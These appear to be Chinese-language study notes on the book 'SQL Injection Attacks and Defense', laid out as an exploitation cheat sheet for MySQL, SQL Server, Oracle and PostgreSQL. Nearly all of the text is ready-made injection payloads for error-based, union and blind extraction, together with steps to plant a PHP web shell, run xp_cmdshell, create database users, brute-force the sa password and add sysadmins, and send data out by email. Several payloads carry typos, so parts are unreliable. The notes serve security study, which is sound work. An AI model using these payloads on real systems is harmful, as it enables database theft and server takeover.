第5章：利用SQL盲注

第6章：通过SQL注入利用操作系统漏洞

第7章：二阶SQL注入

第8章：代码层防御SQL注入

第9章：平台层防御SQL注入

第10章：从攻击中恢复

第11章：各数据库的细节

发现SQL注入

用户层

例如：?param=abc

字符串拼接后结果相同

Oracle、PostgreSQL：?param=a’||’bc

SQL Server：?param=a’+’bc

MySQL：a’’bc

使其报错：

错误是否直接展示，尝试使其报错：?param=abc’

若直接展示

报select了哪些字段（通过构造错误的group by和having组合

SQL Server：?param=abc’ having ‘1’=’1

假设报出table.id

?param=abc’ group by id having ‘1’=’1

假设报出 table.name

?param=abc’ group by id, name having ‘1’=’1

...

报字段值

MySQL：@@version、version()

Oracle：select banner from v$version where rownum=1

PostgreSQL：version()

SQL Server：?param=abc’ and 1=0/@@version and ‘1’=’1

会报出版本，将@@version换成其他字段已使其报出值

?param=abc’ and 1=0/name and ‘1’=’1

假设报出admin，然后通过not in排除已知的值

?param=abc’ and name not in(‘admin’) and 1=0/name and ‘1’=’1

...

Oracle报错，向解析主机名的函数传入想要的字段值，使其报错显示，但确保传入参数只能有一行，11g+已不可用，加了ACL限制对网络包的访问

select utl\_inaddr.get\_host\_name( select username||’=’||password from dab\_users where rownum=1 ) from dual

更多信息见《SQL注入攻击与防御》P136

确定查询字段数

union方式，不断添加null的个数直到不再报错，用null的原因：数据类型需要和原始查询兼容

?param=abc’+union+select+null--

Oracle需要select+null+from+dual--

order by方式，从1开始试，直到报错，最大的不报错值就是字段数。这种方式更好，可用二分法

?param=abc’+order+by+5

确定字符串类型字段用来显示值

将union select null中的null挨个儿换成字符串，不报错的那个就是字符串类型的

?param=abc’+union+select+null,’’,null--

通过字符串拼接尽量将我们要的信息尽可能多的从这一列提取，SQL Server为例

?param=abc’+union+select+null,system\_user%2B’+|+’%2Bdb\_name(),null--

如果应用只返回第一行数据，那么需要把原始查询置永假

?param=abc’+and+’1’=’2+union+select+null,system\_user%2B’+|+’%2Bdb\_name(),null--

有时需要手动转为字符串

Oracle：select cast(1 as varchar) from dual

SQL Server：select cast(‘1’ as varchar)

MySQL：select cast(‘1’ as char)

PostgreSQL：select cast(1 as text)

不直接展示（302跳转指定页、500提示错误...

错误是否由数据库真实解析引起（比如对于?id=2，尝试?id=1%2B1和?id=3-1，观察结果是否相同）

分别 正常、永真、永假，观察返回结果的区别

正常：?param=abc’ or ‘1’=’2

永真：?param=abc’ or ‘1’=’1

永假：?param=abc’ and ‘1’=’2

如果union了其他内容，永假仍会返回结果，考虑终止式注入

内联式注入

修改优先级，比如where username=a and password=b

返回admin或密码为空的账户：where username=’admin’ and ‘1’=’1’ or ‘1’=’1’ and password=’’

返回所有账户：where username=’’ and password=’’ or ‘1’=’1’

终止式注入

单行注释

Oracle、SQL Server、PostgreSQL：--

MySQL：--(一个空白字符)、#

多行注释

MySQL、Oracle、SQL Server、PostgreSQL：/\* \*/

对于MySQL，select 1/\*!40119 +1\*/。如果版本>=4.01.19，注释中的代码会被执行，返回2，否则返回1

避开上例的密码

where username=’admin’ or 1=1;-- ‘ and password=’’ 或

where username=’admin’/\*’ and password=’\*/’’;

堆叠查询，形如；command 1; command2; command 3;

支持度（不同语言访问不同数据库，支持度是不同的）：

Oracle：不支持，只能使用PL/SQL

SQL Server：6.0+

MySQL：4.1+，默认关闭

任意代码执行（结束之前的，添加自己的，注释之后的。如果数据库权限足够，是可以操作服务器的，比如读取写入文件，调用shell）

以windows上的mysql为例，制造一个可执行任意代码的文件，通过访问 <http://网站/shell.php?cmd=命令> 来让服务器执行命令

?param=abc’; select ‘<?php echo shell\_exec($\_GET[“cmd”]);?>’ into outfile ‘网站目录/shell.php’;--

以windows上的SQL Server为例，使其执行dir

?param=abc’; exec+master..xp\_cmdshell+’dir’

Oracle通过函数执行匿名PL/SQL块，以创建新用户为例

?param=abc’ and (select dbms\_xmlquery.netcontext(‘declare PRAGMA AUTONOMOUS\_TRANSACTION; begin execute immediate ‘’ create user pwned identified by pwn3d ‘’; commit; end;’) from dual) is not null;--

时延

SQL Server：?param=abc’; waitfor delay ’0:0:秒数’;--

MySQL：?param=abc’; select benchmark(重复执行次数, encode(‘hello’, ‘sql’));--

Oracle：

PL/SQL：BEGIN DBMS\_LOCK.SLEEP(秒数) END;

内联：?param=abc’ or 1=dbms\_pipe.receive\_message(‘RDS’, 秒数)

PostgreSQL(8.2+)：?param=abc’; select pg\_sleep(秒数);--

条件语句（通过 if(猜测) then 特定行为 来猜测服务端信息）

语法

SQL Server：if(‘a’=’a’) select 1 else select 2

MySQL：select if(‘a’, 1, 2)

Oracle：select case when ‘a’=’a’ then 1 else 2 end from dual

PostgreSQL：select case when(‘a’=’a’) then1 else 2 end

基于时延：登录账户是否sa

SQL Server：?param=abc’;if+(system\_user=’sa’)+waitfor+delay+’0:0:5’--

基于错误：登录账户是否sa，是则不影响结果，不是则报错

SQL Server：?id=10/(case+when+(system\_user=’sa’)+then+1+else+0+end)

基于内容：登录账户是否sa，是则不影响结果，不是则返回id=11的

SQL Server：?id=10%2B(case+when+(system\_user=’sa’)+then+0+else+1+end)

将字符串转为数字型进行上述攻击方式，如果登录账户是sa，将查询?param=acme，否则查询?param=acle

SQL Server：?param=ac’%2Bchar(108%2B(case+when+(system\_user=’sa’)+then+1+else+0+end))%2B’e

元数据查询，低版本MySQL见《SQL注入攻击与防御》P143，Oracle连接只能访问连接的那个数据库

库

SQL Server：select name from master..sysdatabases

MySQL(5.0+)：select schema\_name from informatin\_schema.schemate where table\_schema not in(’mysql’, ‘information\_schema’)

PostgreSQL：select datname from pg\_database

表

SQL Server：select name from 库..sysobjects where xtype=’U’

MySQL(5.0+)：select table\_name from informatin\_schema.tables where table\_schema=库

PostgreSQL(所有库中的所有表)：select tablename from pg\_tables where tablename not like ‘pg\_%’ and tablename not like ’sql\_%’

Oracle：select owner, table\_name from all\_tables

列

SQL Server：select name from 库..syscolumns where id=(select id from 库..sysobjects where name=表)

MySQL(5.0+)：select column\_name from informatin\_schema.columns where table\_schema=库 and table\_name=表

PostgreSQL(public模式所有列)：SELECT relname, A.attname FROM pq\_class C, pq\_namespace N, pg\_attribute A, pg\_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')

Oracle：select column\_name from user\_tab\_columns where table\_name=表

Insert注入

非最后一个参数，将所需信息填入后面构造的参数，截断后续的语句

获取第一个数据库用户的账号密码(2进制转16进制)

SQL Server：insert into 表(列1, 列2) values (‘abc’, (select top 1 name + ‘ | ‘ + master.sys.fn varbintohexstr(password hash) from sys.sql logins)) --

最后一个参数，用字符串拼接所需信息填入参数

SQL Server：insert into 表(列1, 列2) values (‘abc’, concat(‘abc’, (select @@verion))) --

通过嵌套sql，使其内层是非结果可见，并刻意使外层报错

时延，版本符合则延时5秒

INSERT INTO table(column) VALUES ('' || SELECT (SELECT CASE WHEN @@version LIKE '5.1.56%' THEN SLEEP(5) ELSE 'somevalue' END FROM ((SELECT 'value' AS foobar) UNION (SELECT 'value2' AS foobar)) ALIAS) || '')

正则：条件达成则报错“多于1结果”，不达成则报错“正则相关错误”

SELECT (SELECT 'a' REGEXP (SELECT CASE WHEN <条件> THEN '.\*' ELSE '\*' END (FROM ((SELECT 'foo1' As bar) UNTON (SElECT 'f002' AS bar) foobar)

提权（更多信息见《SQL注入攻击与防御》P155）

SQL Server，通过OPENROWSET暴力猜测密码

检查这个功能是否可用，可用则返回1

select value\_in\_use from sys.configurations where name LIKE 'Ad Hoc%’

暴力尝试sa密码，成功返回1，失败报错。

SELECT \* FROM OPENROWSET('SQLOLEDB', ‘Network=DBMSSOCN;Address=;uid=sa;pwd=foo', ‘select 1’)

如果服务端开启的是windows模式，那么sa不可用，只有windows用户可登录，暴力window用户会被封锁账户。如果是windows模式，这语句会返回1

select serverproperty('IsIntegratedSecurityOnly')

将自定义用户添加至管理员组

SELECT \* FROM OPENROWSET('SQLOLEDB', ‘Network=DBMSSOCN;Address=;uid=sa;pwd=密码', ‘select 1;exec master.dbo.sp\_addsrvrolemember ‘’用户名’’, ‘’sysadmin’’’)

获取哈希密码（见《SQL注入攻击与防御》P164）

带外通信

email

SQL Server 2000：

EXEC master..xp\_startmail;

EXEC master..xp\_sendmail @recipients=’接收者邮箱’, @query='select @@version'

接收者将会以base64格式收到email，也可以以@attachment指定文件

SQL Server 2005+及Oracle和其他带外通信：见《SQL注入攻击与防御》P171~P179

TODO: 《SQL注入攻击与防御》P187

代码层

绕开检测（7.2节

使用/\*\*/代替空格